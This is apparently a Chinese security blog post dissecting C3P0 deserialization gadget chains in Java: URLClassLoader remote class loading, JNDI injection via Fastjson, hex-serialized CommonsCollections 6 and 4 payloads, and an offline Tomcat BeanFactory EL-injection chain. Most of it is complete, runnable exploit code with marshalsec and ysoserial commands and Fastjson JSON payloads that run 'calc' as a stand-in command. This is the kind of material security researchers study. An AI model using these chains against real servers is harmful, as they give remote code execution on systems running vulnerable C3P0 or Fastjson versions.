C3P0反序列化
C3P0
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>利用链
URLClassLoader利用链 远程加载字节码
漏洞点在PoolBackedDataSourceBase
先看序列化的过程,进入PoolBackedDataSourceBase这个类看看writeObject
 ](http://blog.187.ink/usr/uploads/2025/03/392274492.png)
先将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作,我们跟进ReferenceIndirector.indirectForm方法。
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{ 
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
private static class ReferenceSerialized implements IndirectlySerialized
{
Reference   reference;  //!!!!!
Name        name;
Name        contextName;
Hashtable   env;
    
    ...此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化
可以看出reference是可以被我们控制的,接下来看反序列化的操作,readShort获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象o是否实现了IndirectlySerialized接口,在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口,所以通过判断,调用了o的getObject方法
 ](http://blog.187.ink/usr/uploads/2025/03/3136165989.png)
跟进getObject方法
 ](http://blog.187.ink/usr/uploads/2025/03/3397067091.png)
跟进ReferenceableUtils.referenceToObject,由于ref是在序列化的时候可以控制的参数,那么fClassName自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类。
这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞
 ](http://blog.187.ink/usr/uploads/2025/03/2905425236.png)
package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class URLClassLoaderdemo {
    public static void main(String[] args) throws Exception{
    
        PoolBackedDataSource z = new PoolBackedDataSource();
        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
        ConnectionPool connectionPool = new ConnectionPool("test","http://127.0.0.1:8000/");
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);
        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
        protected String classFactory = null;
        protected String classFactoryLocation = null;
        public ConnectionPool(String classFactory,String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
        @Override
        public PooledConnection getPooledConnection() throws SQLException {return null;}
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
        @Override
        public PrintWriter getLogWriter() throws SQLException {return null;}
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {}
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {}
        @Override
        public int getLoginTimeout() throws SQLException {return 0;}
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
    }
}
JNDI注入 FastJson
在fastjson,jackson环境中可用
JndiRefForwardingDataSource的dereference()方法中有lookup,并且jndiName通过getJndiName()获取
 ](http://blog.187.ink/usr/uploads/2025/03/3757580349.png)
在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法
 ](http://blog.187.ink/usr/uploads/2025/03/497802421.png)
而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法
public void setLogWriter(PrintWriter out) throws SQLException {
    this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用
python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:9999/test", "loginTimeout":1}hex序列化字节加载器
这个链自能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件
在WrapperConnectionPoolDataSource的构造方法下
 ](http://blog.187.ink/usr/uploads/2025/03/1549637778.png)
调用了C3P0ImplUtils.parseUserOverridesAsString,跟进
 ](http://blog.187.ink/usr/uploads/2025/03/22545046.png)
当userOverridesAsString不为空进入if
首先会用substring对userOverridesAsString进行截取,将HASM_HEADER头和最后一位的;扣掉
而HASM_HEADER是一个私有的常量
 ](http://blog.187.ink/usr/uploads/2025/03/1995800369.png)
将十六进制转成字节数组,最后再强转为map对象,跟进fromByteArray
 ](http://blog.187.ink/usr/uploads/2025/03/3007145499.png)
最后到deserializeFromByteArray去readObject
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}cc6:
package c3p0;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class hex_cc6 {
    public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"bbb");
        lazyMap.remove("Atkx");
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);
        return hashMap2;
    }
    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }
    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }
    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }
    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
        String hex = toHexAscii(tobyteArray(exp()));
        System.out.println(hex);
        //Fastjson<1.2.47
//        String payload = "{" +
//                "\"1\":{" +
//                "\"@type\":\"java.lang.Class\"," +
//                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
//                "}," +
//                "\"2\":{" +
//                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
//                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
//                "}" +
//                "}";
        //低版本利用
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}
cc4:
package c3p0;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class hex_cc4 {
    public static PriorityQueue CC4() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();
        //name字段
        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Atkx");
        //恶意bytecode字段
        Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
        bytecodeFiled.setAccessible(true);
        byte[] code = Tools.getBytes("c3p0.evil");
        byte[][] codes = {code};
        bytecodeFiled.set(templates,codes);
        //工厂类字段
        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl() {
        });
        //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{ Templates.class},new Object[]{templates});
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        return priorityQueue;
    }
    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }
    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }
    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }
    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }
    public static void main(String[] args) throws Exception {
        String hex = toHexAscii(tobyteArray(CC4()));
        System.out.println(hex);
        //Fastjson<1.2.47
//        String payload = "{" +
//                "\"1\":{" +
//                "\"@type\":\"java.lang.Class\"," +
//                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
//                "}," +
//                "\"2\":{" +
//                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
//                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
//                "}" +
//                "}";
        //低版本利用
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}或者直接加载恶意反序列化对象来执行
java -jar ysoserial.jar CommonsCollections6 "calc" > calc.binpackage c3p0;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class hex_alltohex {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
    }
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }
    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);
        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}
直接搭配fastjson的payload去打即可
不出网利用
在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入
C3P0中利用URLClassLoader进行任意类加载的攻击方式,在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然这种利用方式需要存在Tomcat8相关依赖环境
 ](http://blog.187.ink/usr/uploads/2025/03/3995580172.png)
和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了,通过本地类的加载来进行EL表达式注入
package c3p0;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
public class c3p0_nointernet {
    public static void main(String[] args) throws Exception{
        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
        ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);
        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
        private String className;
        private String url;
        public ConnectionPool ( String className, String url ) {
            this.className = className;
            this.url = url;
        }
        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            String cmd = "calc";
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
            return ref;
        }
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    }
}